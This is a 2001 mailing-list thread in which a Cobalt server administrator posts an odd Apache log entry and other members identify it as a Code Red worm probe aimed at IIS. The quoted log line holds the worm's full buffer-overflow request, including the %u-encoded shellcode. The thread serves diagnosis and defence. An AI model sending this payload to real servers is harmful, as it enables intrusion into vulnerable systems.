RE: [cobalt-developers] Hacking attempts???

["DNSAdmin" <dnsadmin@xxxxxxxxxxxxx>]

The code Red II looks like that. Code Red I looks the same except substitute
the 'XXXXXXXX' with 'NNNNNNNN'. It seems to be causing quite a bit of
traffic!


> -----Original Message-----
> From: cobalt-developers-admin@xxxxxxxxxxxxxxx
> [mailto:cobalt-developers-admin@xxxxxxxxxxxxxxx]On Behalf Of polecat
> Sent: Monday, August 13, 2001 6:24 PM
> To: cobalt-developers@xxxxxxxxxxxxxxx
> Subject: Re: [cobalt-developers] Hacking attempts???
>
>
> that would be one of the code red worms (don't remember if it's one or 2)
> that have been running around. they affect iis only, so if that's
> from your
> apache logs on a cobalt box, the only thing to worry about is your logs
> filling up.
>
> al
>
>
> ----- Original Message -----
> From: "Jamie Rossi" <jamie@xxxxxxxxx>
> To: <cobalt-developers@xxxxxxxxxxxxxxx>
> Sent: Monday, August 13, 2001 4:25 PM
> Subject: [cobalt-developers] Hacking attempts???
>
>
> > Anyone got any idea what this is?
> >
> >
> > 207.108.246.5 - - [13/Aug/2001:00:57:29 +0100] "GET
> >
> /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
> XXXXXXXXXX
> >
> XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
> XXXXXXXXXX
> >
> XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
> XXXXXXXXXX
> >
> XXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6
> 858%ucbd3%
> > u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a
> > HTTP/1.0" 302 627 "-" "-"
> >
> > My logs show this multiple times today
> >
> > Regards
> > Jamie Rossi
> >
> >
> >
> > _______________________________________________
> > cobalt-developers mailing list
> > cobalt-developers@xxxxxxxxxxxxxxx
> > http://list.cobalt.com/mailman/listinfo/cobalt-developers
> >
>
> _______________________________________________
> cobalt-developers mailing list
> cobalt-developers@xxxxxxxxxxxxxxx
> http://list.cobalt.com/mailman/listinfo/cobalt-developers
>